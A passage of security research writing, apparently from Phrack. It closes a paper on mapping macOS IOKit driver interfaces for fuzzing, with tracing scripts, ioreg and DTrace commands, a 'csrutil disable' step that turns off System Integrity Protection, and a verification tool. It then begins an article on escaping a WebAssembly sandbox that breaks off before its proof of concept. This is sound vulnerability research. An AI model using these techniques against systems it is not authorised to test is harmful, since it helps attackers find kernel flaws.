__const:FFFFFE0007F57BD9 DCB 0 __const:FFFFFE0007F57BDA DCB 0 __const:FFFFFE0007F57BDB DCB 0 __const:FFFFFE0007F57BDC DCB 0x28 ; outputStructCnt (40 bytes) __const:FFFFFE0007F57BDD DCB 0 ... ```````````````````````````````````````````````````````````````````````````` To make it easier, I created this IDA script[32] that prints valid pointers for the exposed methods, their selectors, and valid sizes: ```````````````````````````````````````````````````````````````````````````` print_methods(0xfffffe0007f57b78, 50) Method summary (ID: [SCALAR_IN, IN_SIZE, SCALAR_OUT, OUT_SIZE]): 0: [0, 96, 0, 96] 1: [0, 0, 0, 0] 2: [1, 2376, 0, 40] 3: [0, 3480, 0, 0] 4: [0, 56, 0, 56] ... 49: [2, 0, 0, 0] ```````````````````````````````````````````````````````````````````````````` This way, we mapped everything we needed to reach the logic of the exposed functions. At this point, our map is complete, and we can start dumb fuzzing with random data in inputStruct. However, to be more efficient, we should find valid data sent to these exposed methods and store it as our corpus. For that, we need to do some runtime analysis. =================== --[ 2.2 - Runtime Enumeration ============================================================================ In the previous section, we covered how to map drivers using static analysis. Now, let's look at a few runtime techniques to enumerate all instantiated IOKit services and gather useful data for calling methods via IOConnectCallMethod. This section may seem short, but don't underestimate its value. These runtime tricks have saved me countless hours during research. They also make a huge difference in the accuracy and coverage of my fuzzer. I recommend completing Section "2.1 KEXT Analysis" before using runtime tools. While these tools can help verify service names, we still need to reverse-engineer the User Client logic regardless of the method used. Performing static analysis first ensures that we do not rely solely on partial runtime results, which may overlook unregistered services! ============================ --[ 2.2.1 - Service Discovery Automation ============================================================================ The main tool used here is Siguza's ioscan[33]. It enumerates all currently instantiated IOKit services, showing their class names, instance names, associated UserClient class (if specified in properties), and whether the UserClient can be successfully opened from user space. Below is an example output: ```````````````````````````````````````````````````````````````````````````` Class                     Name            UC          Spawn ------------------------ --------------- -------------- -------------------- IORegistryEntry          Root            -              invalid argument IOPlatformExpertDevice   J314cAP         -              invalid argument IODTNVRAM                options         -              unsupported function IODTNVRAMDiags           IODTNVRAMDiags  -              unsupported function IODTNVRAMVariables       options-system  -              unsupported function IODTNVRAMVariables       options-common  -              unsupported function AppleARMPE               AppleARMPE      -              unsupported function IOPMrootDomain           IOPMrootDomain  RootDomainUserClient    successful IORootParent             IORootParent    -              unsupported function IOUSBHostInterface       HID I2C         AppleUSBHostFWIntfClt   successful ```````````````````````````````````````````````````````````````````````````` Most importantly, the "Name" column displays instantiated services. After reading this paper, you know it is not so trivial to get them. By using this tool, we can list them all. However, another problem arises here: we have the names, but how do we assign them to a valid User Client logic? To illustrate this, there is the AppleUSBHostFrameworkInterfaceClient, which is assigned to the names IOUSBHostInterface, HID I2C, and IOUSBHostInterface. All of them have the same Class IOUSBHostInterface: ```````````````````````````````````````````````````````````````````````````` IOUSBHostInterface  IOUSBHostInterface  AppleUSBHostFrameworkInterfaceClient IOUSBHostInterface  HID I2C             AppleUSBHostFrameworkInterfaceClient IOUSBHostInterface  IOUSBHostInterface  AppleUSBHostFrameworkInterfaceClient ```````````````````````````````````````````````````````````````````````````` However, we only see AppleUSBHostFrameworkInterfaceClient if we can successfully establish a connection. The Spawn column shows the result of calling selector 0 using IOServiceOpen. If the call fails due to an invalid argument, the service remains accessible but requires different input sizes. If it returns an unsupported function, selector 0 is unimplemented, though higher selectors may still be valid. In both cases, we do not get the User Client name. How to get it? In the first column, we have a Class name. We can use it to find NewUserClient logic and, inside, the User Client name. For our example, this is "IOUSBHostInterface::newUserClient": ```````````````````````````````````````````````````````````````````````````` IOReturn IOUSBHostInterface::newUserClient() ... if (type == 0) {     // Used when type == 0     AppleUSBHostFrameworkInterfaceClient *client =         new AppleUSBHostFrameworkInterfaceClient(...); } else if (type == 1 || type == 2) {     // Used when type == 1 or 2     AppleUSBHostInterfaceUserClient *client =         new AppleUSBHostInterfaceUserClient(...); } ```````````````````````````````````````````````````````````````````````````` In most cases, we will have only the Class name and no UC, so we have to perform this short RE step manually. Additionally, we can benefit from this by obtaining the Types quickly. As shown in the above example, there are two UC classes that this driver supports: 0 and 1||2. Another way of listing is IORegistry reader command: ```````````````````````````````````````````````````````````````````````````` ioreg -l | grep "IOUserClientClass" ioreg -l | grep -i "IOClass" ioreg -l | grep "com.apple.driver.AppleH11ANEInterface" -A 5 ```````````````````````````````````````````````````````````````````````````` We can use it to list all registered UC classes, services, and essentially anything we have learned here or found in the IOKit documentation.  ============================== --[ 2.2.2 - Driver Hooking in Kernel Space ============================================================================ The complete way to analyze how drivers handle user-space interactions — such as spawning user clients (newUserClient) or handling external method calls — is to debug these Kernel functions directly. However, on Apple Silicon, kernel debugging is effectively impossible, and writing a custom KEXT to trace or hook into these paths would be a research project on its own. However, we can use DTrace to list all instrumented IOKit functions in the Kernel. It shows us some places where kernel methods are being used: ```````````````````````````````````````````````````````````````````````````` sudo dtrace -l | grep IOService sudo dtrace -l | grep IOUserClient sudo dtrace -l | grep NewUserClient sudo dtrace -l | grep externalMethod sudo dtrace -l | grep getTargetAndMethodForIndex sudo dtrace -l | grep dispatchExternalMethod ```````````````````````````````````````````````````````````````````````````` It is handy as an additional source of information about services, but this does not cover all places, as it only shows instrumented functions. However, as we learned in the first part of this paper, ultimately, everything is an IOService, so we can still use DTrace to trace system-wide calls. For that, we need to disable SIP (System Integrity Protection), which is required to use DTrace on macOS: ```````````````````````````````````````````````````````````````````````````` csrutil disable # csrutil enable --without dtrace ```````````````````````````````````````````````````````````````````````````` Using the information below, we can trace the processes that spawn UserClients, which, in fact, call IOServiceOpen in user space: ```````````````````````````````````````````````````````````````````````````` sudo dtrace -n ' fbt::*NewUserClient*:entry, fbt::*newUserClient*:entry {     printf("%s: PID=%d CMD=%s\n", probefunc, pid, execname); }' ```````````````````````````````````````````````````````````````````````````` Example output: ```````````````````````````````````````````````````````````````````````````` _ZN9IOService13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClient:entry _ZN9IOService13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClient: PID=367 CMD=opendirectoryd _ZN9IOService13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClient:entry _ZN9IOService13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClient: PID=609 CMD=Finder _ZN9IOService13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClient:entry _ZN9IOService13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClient: PID=339 CMD=configd _ZN5IOGPU13newUserClientEP4taskPvjPP12IOUserClient:entry _ZN5IOGPU13newUserClientEP4taskPvjPP12IOUserClient: PID=13910 CMD=com.apple.WebKit.GPU ```````````````````````````````````````````````````````````````````````````` Ultimately, we can create a script that dumps names and demangles functions, allowing us to see which process calls which UserClients. I prepared dtrace_NewUserClient.py[34], which example output is below: ```````````````````````````````````````````````````````````````````````````` PID: 609 Path: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder Function: IOService::newUserClient(task*, void*, unsigned int, OSDictionary* , IOUserClient**) --- Call Stack--- libsystem_kernel.dylib`mach_msg2_trap+0x8 IOKit`io_service_open_extended+0xb0 IOKit`IOServiceOpen+0x34 APFS`apfs_container_iouc+0x110 APFS`APFSExtendedSpaceInfo+0x94 DesktopServicesPriv`TAPFSContainer::Refresh(bool)+0xc8 DesktopServicesPriv`APFSUsedSpace(std::__1::vector<TString, std::__1::allocator<TString>>, std::__1::shared_ptr<TAPFSContainer>, TString const&)+0x54 DesktopServicesPriv`TFSVolumeInfo::RecalculateFreeSpaceAndCapacity(bool) const+0x2b4 DesktopServicesPriv`TNode::RecalculateFreeSpaceAndCapacity(bool)+0x80 DesktopServicesPriv`TNode::SynchronizeChildren(NodeRequestOptions, TNodeEventPtrs&)+0x1bc0 DesktopServicesPriv`TNode::HandleSync(NodeRequestOptions, TNodeEventPtrs&)+0xd6c DesktopServicesPriv`TNode::HandleSync(NodeRequestOptions)+0x2c DesktopServicesPriv`TNode::HandleSync(std::__1::shared_ptr<TNodeTask> const&, TNodePtr const&)+0xc4 DesktopServicesPriv`TNode::HandleNodeRequest(std::__1::shared_ptr<TNodeTask> const&)+0x2d4 DesktopServicesPriv`ExceptionSafeBlock(void () block_pointer)+0x30 DesktopServicesPriv`invocation function for block in TNodeTask::PostNodeTaskRequest(std::__1::shared_ptr<TNodeTask> const&, std::__1::shared_ptr<TVolumeSyncThread> const&)+0xa8 libdispatch.dylib`_dispatch_call_block_and_release+0x20 libdispatch.dylib`_dispatch_client_callout+0x10 libdispatch.dylib`_dispatch_lane_serial_drain+0x2e4 libdispatch.dylib`_dispatch_lane_invoke+0x184 ---------------------------------------- PID: 75884 Path: crims0n (process terminated before path lookup) Function: IOService::newUserClient(task*, void*, unsigned int, OSDictionary*, IOUserClient**) --- Call Stack--- 0x192b00c34 0x1969cbb80 0x1969cbab8 0x1025bdf4c 0x1025c0ac4 0x1025bd130 0x1927a2b98 ---------------------------------------- ```````````````````````````````````````````````````````````````````````````` The above DTrace is helpful, but the one below is a real game-changer for Vulnerability Research. You will learn why on the first run ;) Using the below, we can trace processes that use external methods - so, in fact, that calls in user-space the IOConnectCallMethod. ```````````````````````````````````````````````````````````````````````````` sudo dtrace -n ' fbt::*getTargetAndMethodForIndex*:entry, fbt::*externalMethod*:entry, fbt::*ExternalMethod*:entry {     printf("%s: PID=%d CMD=%s\n", probefunc, pid, execname); }' ```````````````````````````````````````````````````````````````````````````` Example output: ```````````````````````````````````````````````````````````````````````````` 1 362094 _ZN14AppleSMCClient26getTargetAndMethodForIndexEPP9IOServicej:entry _ZN14AppleSMCClient26getTargetAndMethodForIndexEPP9IOServicej: PID=393 CMD=corebrightnessd 2 408402 _ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsO paquePK28IOExternalMethodDispatch2022mP8OSObjectPv:entry _ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsO paquePK28IOExternalMethodDispatch2022mP8OSObjectPv: PID=14020 CMD=crims0n 2 268098 _ZN24H11ANEInDirectPathClient15_ANE_DeviceOpenEPS_PvP25IOExternalMethodArgum ents:entry _ZN24H11ANEInDirectPathClient15_ANE_DeviceOpenEPS_PvP25IOExternalMethodArgum ents: PID=14020 CMD=crims0n 0 362094 _ZN14AppleSMCClient26getTargetAndMethodForIndexEPP9IOServicej:entry _ZN14AppleSMCClient26getTargetAndMethodForIndexEPP9IOServicej: PID=804 CMD=System Monitor ```````````````````````````````````````````````````````````````````````````` As before, we can wrap it out in some parser and print better output. Here is example from dtrace_IOConnectCallMethod.py[35]: ```````````````````````````````````````````````````````````````````````````` PID: 398 Path: /System/Library/PrivateFrameworks/SkyLight.framework/Resources/WindowServer -daemon Function: IOUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) --- Call Stack--- libsystem_kernel.dylib`mach_msg2_trap+0x8 IOKit`io_connect_method+0x208 IOKit`IOConnectCallScalarMethod+0x50 IOMobileFramebuffer`kern_SwapWait+0x4c ... QuartzCore`thread_fun(void*)+0x20 libsystem_pthread.dylib`_pthread_start+0x88 libsystem_pthread.dylib`thread_start+0x8 ---------------------------------------- PID: 97690 Path: /System/Library/Frameworks/VideoToolbox.framework/Versions/A/XPCServices/VTE ncoderXPCService.xpc/Contents/MacOS/VTEncoderXPCService Function: AppleAVE2UserClient::IO_Process(AppleAVE2UserClient*, void*, IOExternalMethodArguments*) --- Call Stack--- libsystem_kernel.dylib`mach_msg2_trap+0x8 IOKit`io_connect_method+0x208 IOKit`IOConnectCallMethod+0xec IOKit`IOConnectCallStructMethod+0x38 AppleVideoEncoder`0x00000001033ee040+0x80 AppleVideoEncoder`0x0000000103330a70+0x128 ... libdispatch.dylib`_dispatch_worker_thread+0x10c libsystem_pthread.dylib`_pthread_start+0x88 ```````````````````````````````````````````````````````````````````````````` It displays a massive output with exact function names and the executables that call them, which is real gold. Yet, DTrace shows us only the Kernel Space, and we do not see what data is being sent in the IOConnectCallMethod. So, there is one last step we need to do in User Space. ============================ --[ 2.2.3 - Driver Hooking in User Space ============================================================================ Using DTrace, we can obtain system-wide information on executables and services they call. Now, we'll hook the user-space interfaces that ultimately trigger kernel interactions. These are IOServiceOpen and IOConnectCallMethod. It allows us to trace how processes open services and invoke methods without modifying the kernel or tracing the kernel handlers. We can use LLDB to monitor calls to IOServiceOpen and IOConnectCallMethod to see which processes connect to which services using what types, selector IDs, argument buffers, and their sizes. The IOServiceOpen(), as the first argument, uses service: io_service_t. The io_service_t is an alias of io_object_t, which is an alias of the mach_port_t. So we deal here with a number. This number is, in fact, io_registry_entry_t, which also comes down to mach_port_t. Like most things, it is a mach port! The point is we can use IORegistryEntryGetName on that mach port to get returns a C-string name assigned to a registry entry. This string is the Driver Name (or, in other words, the name of the instantiated service). It is a reverse lookup. To achieve this manually on a breakpoint, we could set a breakpoint in LLDB: ```````````````````````````````````````````````````````````````````````````` breakpoint set --name IOServiceOpen ```````````````````````````````````````````````````````````````````````````` Then, on a breakpoint, hit extracts the service name like this: ```````````````````````````````````````````````````````````````````````````` expr -l c -o -- extern int IORegistryEntryGetName(void*, char*); char name[128] = {0}; IORegistryEntryGetName((void *)$x0, name); name ```````````````````````````````````````````````````````````````````````````` To get the type, just read the x2 register: ```````````````````````````````````````````````````````````````````````````` reg read x2 ```````````````````````````````````````````````````````````````````````````` I prepared the trace_ioserviceopen.py[36] script for that: ```````````````````````````````````````````````````````````````````````````` lldb -o "command script import trace_ioserviceopen.py" -o "setup_ioserviceopen --pid 81203" ```````````````````````````````````````````````````````````````````````````` Example output on breakpoint hit (when a process calls IOServiceOpen) ```````````````````````````````````````````````````````````````````````````` PID: 81203 EXE PATH: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder SERVICE: AppleAPFSContainer TYPE: 0 ```````````````````````````````````````````````````````````````````````````` This way, we know what executable calls what service with a proper name and the type of the user client spawned. ====== --[ 2.2.4 - Corpus ============================================================================ The last step is to monitor external method calls by inspecting IOConnectCallMethod. By doing so, we can get exact information on what selector is used (what exposed function we call) and the exact data sent (which can be used for testing as the corpus for fuzzer). In LLDB, when we set the breakpoint on the IOConnectCallMethod, we can see the arguments in the x0-x9, so it is easy to extract each argument value. I made an iokit_dump.py[37] for that: ```````````````````````````````````````````````````````````````````````````` command script import ~/.lldb/iokit_dump.py breakpoint set -n IOConnectCallMethod iokit_dump kern_return_t IOConnectCallMethod ------------------------------------- mach_port_t               connection:        0x1d07 uint32_t                  selector:          0x0 const uint64_t *          input:             0x0 uint32_t                  inputCnt:          0x0 const void *              inputStruct:       0x600001310240 size_t                    inputStructCnt:    0x60 uint64_t *                output:            0x0 uint32_t *                outputCnt:         0x16fdfe994 void *                    outputStruct:      0x16fdfe998 size_t *                  outputStructCnt:   0x100068a20 Input Struct Hexdump (first 32 bytes): 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................| 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................| ```````````````````````````````````````````````````````````````````````````` However, the most handy function I made is iokit_dump. By using this, we can gather corpus for fuzzer: ```````````````````````````````````````````````````````````````````````````` (lldb) iokit_dump corpus.bin Successfully dumped 96 bytes of inputStruct to 'corpus.bin' ```````````````````````````````````````````````````````````````````````````` ====== --[ 2.2.5 - Tracer ============================================================================ One more thing. We can also upgrade the previously introduced trace_ioserviceopen.py to monitor the IOConnectCallMethod, so we have the whole picture of what process opens a connection to which service using what type of user client with what selector number, and finally, the proper sizes of the arguments. So here it is, the iokit_tracer.py[38]: ```````````````````````````````````````````````````````````````````````````` command script import iokit_tracer.py trace_iokit --pid 81203 ---------------------------------------------------------------- PID: 81203 EXE PATH: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder SERVICE: AppleAPFSContainer (Connection: 0x21267) TYPE: 0 SELECTOR: 8 (0x8) inputCnt: 0 inputStruct: 0x0 inputStructCnt: 0 output: 0x0 outputCnt: 0x0 outputStruct: 0x0 outputStructCnt: 0x0 ---------------------------------------------------------------- trace_iokit --executable_path --executable_path crims0n -- -arg1 val1 ---------------------------------------------------------------- PID: 8236 | EXE: /Users/karmaz/r/scripts/FUZZER/CRIMS0N/bin/crims0n SERVICE: H11ANE (Connection: 0x1a07) | TYPE: 1 SELECTOR: 0 (0x0) --- INPUT --- input Scalars (2 values at 0x600000330020): [0x123, 0x123] inputStruct (96 bytes at 0x600002534240): 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| --- OUTPUT --- outputCnt: 0 (capacity pointer: 0x16b08e974) outputStructCnt: 0 (capacity pointer: 0x104dd8a10) ```````````````````````````````````````````````````````````````````````````` This effectively finishes the runtime mapping part. How do we verify that the data we gather through all of these guides is valid, though? ================ --[ 2.3 - Map Verification ============================================================================ Finally, a tool of the trade when it comes down to verification of our map. IOVerify[39]. I created it a long time ago as part of my fuzzer. I decided to extract the logic of it to make it a separate tool that can be used for testing external methods user clients types, matching services, etc. Bascially all of the things we learned here. I recommend checking out the code. Here is the helper: ```````````````````````````````````````````````````````````````````````````` ❯ ./IOVerify -h Usage: ./IOVerify -n <name> (-m <method> | -y <spec>) [options] Options: -n <name> Target driver class name (required). -t <type> Connection type (default: 0). -m <id> Method selector ID. -y <spec> Specify method and buffer sizes in one string. Format: "ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]" Example: -y "0: [0, 96, 0, 96]" -p <string> Payload as a string. -f <file> File path for payload. -b <hex_str> Space-separated hex string payload. -i <size> Input buffer size (ignored if -y is used). -o <size> Output buffer size (ignored if -y is used). -s <value> Scalar input (uint64_t). Can be specified multiple times. -S <count> Scalar output count (ignored if -y is used). -h Show this help message. ```````````````````````````````````````````````````````````````````````````` And here is the most common usage so we can check if we enumerated properly a driver. For instance below, we check if we properly enumerated the service H11ANEIn that, we found handle type 1 User Client, and for selector 0 it expects 96 for the inputStructCnt and outputStructCnt. As seen below, we can only "talk" to it when all of these values match. First invalid ones: ```````````````````````````````````````````````````````````````````````````` ❯ ./IOVerify -n "H11ANEIn" -t 1 -y "0: [0,1,0,1]" Starting verification for driver: H11ANEIn --- [VERIFY] Event Log --- Driver: H11ANEIn Connection Type: 1 Method Selector: 0 Result: 0xe00002c2 ((iokit/common) invalid argument) --- Scalar I/O --- Scalar In Cnt: 0 Scalar Out Cnt: 0 --- Structure I/O --- Input Size: 1 bytes Input Data: 00 Output Size: 1 bytes Output Data: 00 --- End of Log --- ```````````````````````````````````````````````````````````````````````````` Now with valid sizes ovserve `0x0 ((os/kern) successful)`: ```````````````````````````````````````````````````````````````````````````` ❯ ./IOVerify -n "H11ANEIn" -t 1 -y "0: [0,96,0,96]" Starting verification for driver: H11ANEIn --- [VERIFY] Event Log --- Driver: H11ANEIn Connection Type: 1 Method Selector: 0 Result: 0x0 ((os/kern) successful) --- Scalar I/O --- Scalar In Cnt: 0 Scalar Out Cnt: 0 --- Structure I/O --- Input Size: 96 bytes Input Data: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Output Size: 96 bytes Output Data: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 --- End of Log --- ```````````````````````````````````````````````````````````````````````````` The tool can be used for testing corpus with the -f corpus.bin flag, and with a slight adjustment, it can serve as a fuzzer interface. ========== --[ 3 - Conclusion ============================================================================ In conclusion, the methodology presented in this paper for mapping IOKit external methods, which combines static analysis with runtime enumeration, offers an exhaustive approach to identifying the attack surface in macOS drivers. This process enables the precise enumeration of all available endpoints, establishing a solid foundation for effective fuzzing and vulnerability research. The application of the described tools and techniques—such as KEXT file analysis, user-space and kernel-space call tracing, and runtime hooking—increases not only the accuracy of the analysis but also significantly streamlines the process of discovering potential vulnerabilities. Future work could focus on fully automating this process with AI and adapting the methodology to new inter-kernel communication mechanisms introduced by Apple. ================ --[ 4 - Acknowledgements ============================================================================ Thank you to AFINE for supporting this research and enabling me to dedicate time to it. Your support significantly accelerated my progress! I also appreciate the macOS security research community for the inspiring exchange of ideas. You all are amazing! ========== --[ 5 - References ============================================================================ Here is the list of all resources used above in [REF_NUMBERS]: [0] Apple Developer Documentation: IOKit Fundamentals https://developer.apple.com/library/archive/documentation/ DeviceDrivers/Conceptual/IOKitFundamentals/ [1] Apple Developer Documentation: IORegistry https://developer.apple.com/library/archive/documentation/ DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html [2] Apple Developer Documentation: IORegistryEntry Class Reference https://developer.apple.com/documentation/kernel/ioregistryentry [3] Apple Developer Documentation: IORegistry Planes https://developer.apple.com/library/archive/documentation/ DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html #//apple_ref/doc/uid/TP0000014-CGGFIFEC [4] Apple Developer Documentation: IOService https://developer.apple.com/documentation/kernel/ioservice [5] Kernel Extensions on macOS https://karol-mazurek.medium.com/kernel-extensions-on-macos- 1b0f38b632ea?sk=v2%2Fb6920735-90f9-459c-9c10-30980247bae7 [6] Apple Open Source: OSKext::start() https://github.com/apple-oss-distributions/xnu/blob/ 1031c584a5e37aff177559b9f69dbd3c8c3fd30a/ libkern/c%2B%2B/OSKext.cpp#L8221 [7] Apple Developer Documentation: IOKitPersonalities https://developer.apple.com/documentation/bundleresources/ information-property-list/iokitpersonalities [8] Apple Developer Documentation: IOProviderClass https://developer.apple.com/documentation/bundleresources/ information-property-list/ioproviderclass [9] Apple Developer Documentation: IOService::probe https://developer.apple.com/documentation/kernel/ioservice/ 1810605-probe [10] Siguza's ioscan tool https://github.com/Siguza/iokit-utils?tab=readme-ov-file#ioscan [11] Apple Developer Documentation: IOUserClient https://developer.apple.com/documentation/kernel/iouserclient [12] Apple Developer Documentation: IOService::newUserClient https://developer.apple.com/documentation/kernel/ioservice/ t1810417-newuserclient [13] Apple Developer Documentation: IOServiceOpen https://developer.apple.com/documentation/iokit/1514515-ioserviceopen [14] Apple Developer Documentation: IOUserClient::externalMethod https://developer.apple.com/documentation/driverkit/iouserclient/ externalmethod [15] Apple Developer Documentation: IOConnectCallMethod https://developer.apple.com/documentation/iokit/ 1514240-ioconnectcallmethod [16] Apple Open Source: IOUserClient2022::dispatchExternalMethod https://fergofrog.com/code/codebrowser/xnu/iokit/Kernel/ IOUserClient.cpp.html#6452 [17] Analyzing macOS IONVMeFamily Driver Denial of Service Issue https://afine.com/case-study-analyzing-macos-ionvmefamily-driver -denial-of-service-issue/#reverse-engineering [18] Apple Developer Documentation: getTargetAndMethodForIndex https://developer.apple.com/documentation/kernel/ iouserclient/3553399-gettargetandmethodforindex [19] Apple Developer Documentation: Entitlements https://developer.apple.com/documentation/bundleresources/ entitlements [20] Snake & Apple II — Code Signing https://karol-mazurek.medium.com/snake-apple-ii-code-signing -f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae [21] Snake & Apple VIII — App Sandbox https://karol-mazurek.medium.com/snake-apple-viii-app-sandbox -5aff081f07d5?sk=v2%2F5b65151b-d1f3-4f18-93da-4ad9aeacadb7 [22] Apple Developer Documentation: IONameMatch https://developer.apple.com/documentation/bundleresources/ information-property-list/ionamematch [23] Apple Developer Documentation: IOServiceGetMatchingServices https://developer.apple.com/documentation/iokit/ 1514494-ioservicegetmatchingservices?language=objc [24] Apple Developer Documentation: IORegistryEntryGetName https://developer.apple.com/documentation/iokit/ 1514323-ioregistryentrygetname [25] Apple Developer Documentation: IOServiceOpen https://developer.apple.com/documentation/iokit/ 1514515-ioserviceopen?language=objc [26] History of NULL Pointer Dereferences on macOS https://afine.com/history-of-null-pointer-dereferences-on-macos/ [27] Apple Developer Documentation: IOConnectCall* Methods https://developer.apple.com/search/ ?q=IOConnectCall&type=documentation [28] Kernel Extensions on macOS https://karol-mazurek.medium.com/kernel-extensions-on-macos -1b0f38b632ea?sk=v2%2Fb6920735-90f9-459c-9c10-30980247bae7 [29] Apple Developer Documentation: IOService::registerService https://developer.apple.com/documentation/kernel/ ioservice/1810726-registerservice [30] Blacktop ipsw tool https://blacktop.github.io/ipsw/docs/guides/macho/ [31] GNU c++filt tool https://www.ibm.com/docs/en/xl-c-and-cpp-aix/16.1.0 ?topic=names-demangling-compiled-c-cfilt [32] IDA Extension - print_externalmethods.py https://github.com/Karmaz95/Snake_Apple/commit/ 95752eefc7cfdd82c9e8e2adfdd2fa44bd53f215 [33] Siguza's ioscan https://github.com/Siguza/iokit-utils ?tab=readme-ov-file#ioscan [34] Example DTrace script: dtrace_NewUserClient.py https://github.com/Karmaz95/Snake_Apple/commit/ 18dfa39f42b7b2f9ba4e9009c4ccdf924d4c97c5 [35] Example DTrace script: dtrace_IOConnectCallMethod.py https://github.com/Karmaz95/Snake_Apple/commit/ 014ce2b5d503cbf3324ebacd0fb8a7235b6779a6 [36] Example LLDB script: trace_ioserviceopen.py https://github.com/Karmaz95/Snake_Apple/commit /b0439e72208038f546ad2230df5178edc3cd47f6 [37] Example LLDB script: iokit_dump.py https://github.com/Karmaz95/Snake_Apple/commit/ 8eb7589493aec280c605ab35814aac68ee72e348 [38] Example LLDB script: iokit_tracer.py https://github.com/Karmaz95/Snake_Apple/commit/ 2e208d662c70ae9068a4e43af2fb1b8c32735458 [38] IOVerify tool https://github.com/Karmaz95/Snake_Apple/commit/ 1a00625b0fa70d994b9ceab344274337279a4bae ]]> https://phrack.org/issues/72/popping-an-alert-from-a-sandboxed-webassembly-module.html Tue, 19 Aug 2025 00:00:00 +0000 Thomas Rinsma Phrack #72 phrack-72-10 |=-----------------------------------------------------------------------=| |=------=[ Popping an alert from a sandboxed WebAssembly module ]=-------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ Thomas Rinsma ]=--------------------------=| |=----------------------------=[ th0mas.nl ]=----------------------------=| |=-----------------------------------------------------------------------=| ---[ Table of contents 0 - Introduction 1 - The WebAssembly-JavaScript interface 2 - A "feature" of the specification 3 - Importing from the prototype 4 - Planning our escape 5 - Available gadgets 5.1 - Dynamic function calling 5.2 - First steps in constructing a string 5.3 - Extracting named properties 5.4 - Obtaining individual characters 5.5 - Accumulating into a string 6 - Keeping things JS engine-agnostic 7 - Exploit recap 8 - Mitigation 9 - Retrospective 10 - References 11 - Full PoC ---[ 0 - Introduction This is a story about breaking a security boundary that may not have been intended, but that many assume exists. We will use some odd JavaScript features in unintended ways to help us to escape this "sandbox", eventually popping an alert from within an isolated WebAssembly module. Usage of WebAssembly (WASM) is becoming more common lately. Primarily, it's a fast, easy and secure way to run native programs on the web. However, it's also become popular as a way to provide plugin support or allow for modular components. Not just in the browser, but also server-side with Node.js and in entirely different stacks using stand-alone WebAssembly runtimes. A WASM module's only interface with the outside world is its set of "imports": effectively a set of external function references which the module can invoke. This is what makes it such a good fit for a plugin system: the host application can quite easily "sandbox" the WASM module by only allowing it access to a limited set of APIs. Or at its extreme: not giving it any imports, constraining the module to be entirely side-effect- free and relying on return values of the module's exports. Hence, it should be perfectly safe to load and run untrusted WASM modules in such a restricted environment, right?? ---[ 1 - The WebAssembly-JavaScript interface Let's first take a step back and explore the basics of WASM modules and how they're loaded from JavaScript. Here's a very simple WASM module (given in the WAT text representation). It defines a single import ("logger"), which it calls with the number 42: (module (import "ns" "logger" (func $logger (param i32))) (func $main i32.const 42 call $logger ) (start $main) ) We can load and instantiate the module (in its binary form) from JavaScript using WebAssembly.instantiate(), specifying an importObject containing a helper function that performs the actual logging: const importObject = { ns: { logger: (num) => { console.log(`The answer is: ${num}`) } } }; fetch("logger.wasm") .then((response) => response.arrayBuffer()) .then((bytes) => WebAssembly.instantiate(bytes, importObject)); A single import is given ("logger"), which resides in the "ns" namespace: imports are required to have a namespace, but notably this is restricted to be exactly one level (no more and no less). Instantiating the module will invoke its designated "start" method (if specified), in our case the $main function. It logs the following to the console: The answer is: 42 ---[ 2 - A "feature" of the specification WASM modules statically specify the imports they require. During instantiation, the runtime maps each of these imports to the corresponding JavaScript object (it does not have to be a function). The W3C's "WebAssembly JavaScript Interface" specification details exactly how this mapping should occur [0]: 1. If module.imports is not empty, and importObject is undefined, throw a TypeError exception. 2. Let imports be << >>. 3. For each (moduleName, componentName, externtype) of module_imports, 1. Let o be ? Get(importObject, moduleName). 2. If o is not an Object, throw a TypeError exception. 3. Let v be ? Get(o, componentName). 4. If externtype is of the form func functype, ... (snip) ... 4. Let externfunc be the external value func funcaddr. 5. Append externfunc to imports. ... (snip) ... In other words, for each of the module's specified imports, the runtime attempts to use Get(importObject, moduleName) to obtain the specified namespace as a key (property) of the importObject, and then again uses Get(o, componentName) to reference the import as a key of that namespace object. What is Get() in this specification language? Well, if we follow its definition in the "ECMAScript 2026 Language Specification", we end up at OrdinaryGet(), which is defined to perform the following steps [1]: 1. Let desc be ? O.[[GetOwnProperty]](P). 2. If desc is undefined, then a. Let parent be ? O.[[GetPrototypeOf]](). b. If parent is null, return undefined. c. 